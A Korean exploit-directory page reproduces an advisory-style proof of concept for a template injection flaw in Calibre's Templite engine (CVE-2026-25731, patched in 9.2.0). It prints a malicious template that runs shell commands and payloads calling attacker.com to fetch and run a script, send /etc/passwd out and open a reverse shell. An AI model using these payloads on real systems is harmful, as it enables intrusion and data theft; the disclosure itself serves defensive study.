Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-25731 — # Calibre Templite SSTI PoC (GHSA-xrh9-w7qx-3gcc) Calibre의 Templite 엔진에서 발견된 서버 측 템플릿 인젝션(SSTI) 취약점에 대한 개념 증명(PoC)입니다. 영향을 받는 버전(≤ 9.1.0)에서 사용자가 제공한 HTML 내보내기 템플릿을 통해 임의의 Python 코드 실행이 가능함을 보여줍니다. | Kitploit
도구/GitHubGitHub/dxleryt/cve-2026-25731
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPayload Development
GitHubdxleryt/cve-2026-25731

CVE-2026-25731

# Calibre Templite SSTI PoC (GHSA-xrh9-w7qx-3gcc) Calibre의 Templite 엔진에서 발견된 서버 측 템플릿 인젝션(SSTI) 취약점에 대한 개념 증명(PoC)입니다. 영향을 받는 버전(≤ 9.1.0)에서 사용자가 제공한 HTML 내보내기 템플릿을 통해 임의의 Python 코드 실행이 가능함을 보여줍니다.

저장소 보기
56개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Templite 엔진의 서버 사이드 템플릿 인젝션 (SSTI)

심각도: 높음 (CVSS 7.8)

영향을 받는 소프트웨어: calibre <= 9.1.0

패치 버전: 9.2.0

권고: GHSA-xrh9-w7qx-3gcc

요약

Calibre의 Templite 템플릿 엔진에서 발견된 서버 사이드 템플릿 인젝션(SSTI) 취약점으로 인해, 사용자가 --template-html 또는 --template-html-index 명령줄 옵션을 통해 악성 사용자 정의 템플릿 파일을 사용하여 전자책을 변환할 때 임의 코드 실행이 가능합니다.

세부 사항

Templite 엔진(src/templite/__init__.py)은 Python의 compile() 및 eval() 함수를 사용하여 템플릿을 컴파일하고 평가하며, 샌드박싱이 전혀 적용되지 않습니다:

src/templite/__init__.py의 취약한 코드:

root@kitploit:~
# Line 72: Template is compiled to Python code
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')

# Line 90: Compiled code is executed via eval()
def render(self, __namespace=None, **kw):
    # ...
    eval(self.__code, namespace)  # Arbitrary code execution

src/calibre/ebooks/conversion/plugins/html_output.py의 공격 벡터:

root@kitploit:~
# Lines 96-98: User-supplied template file is loaded
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# Line 136: Template is passed to vulnerable Templite engine
templite = Templite(template_html_index_data)

동일한 패턴이 --template-html 옵션(102-106행, 200행)에도 존재합니다.

PoC

1. 악성 템플릿 파일 생성

다음 내용을 malicious_template.tmpl로 저장합니다:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

2. 악성 템플릿으로 전자책 변환 실행

root@kitploit:~
# Convert any ebook using the malicious template
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl

3. 코드 실행 확인

root@kitploit:~
cat /tmp/pwned.txt
# Output: uid=501(username) gid=20(staff) groups=...

대체 페이로드

root@kitploit:~
# Command execution
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# File exfiltration
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

독립 실행 검증

root@kitploit:~
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite

# Command execution
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render())  # Prints current username

# File read
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render())  # Prints first line of /etc/passwd

영향

영향을 받는 사용자:

  • 타사 HTML 내보내기 템플릿을 다운로드하여 사용하는 사용자
  • 포럼, GitHub 또는 기타 소스에서 공유된 템플릿을 사용하는 사용자
  • 사용자 제공 템플릿으로 자동화 파이프라인에서 Calibre를 실행하는 시스템

공격 시나리오:

  1. 공격자는 SSTI 페이로드가 포함된 정상적으로 보이는 HTML 템플릿을 생성합니다
  2. 공격자는 Calibre 포럼, Reddit 또는 GitHub에 템플릿을 공유합니다
  3. 피해자는 템플릿을 다운로드하여 사용합니다: ebook-convert book.epub out.zip --template-html=template.tmpl
  4. 피해자의 권한으로 임의 코드가 실행됩니다
도구 다운로드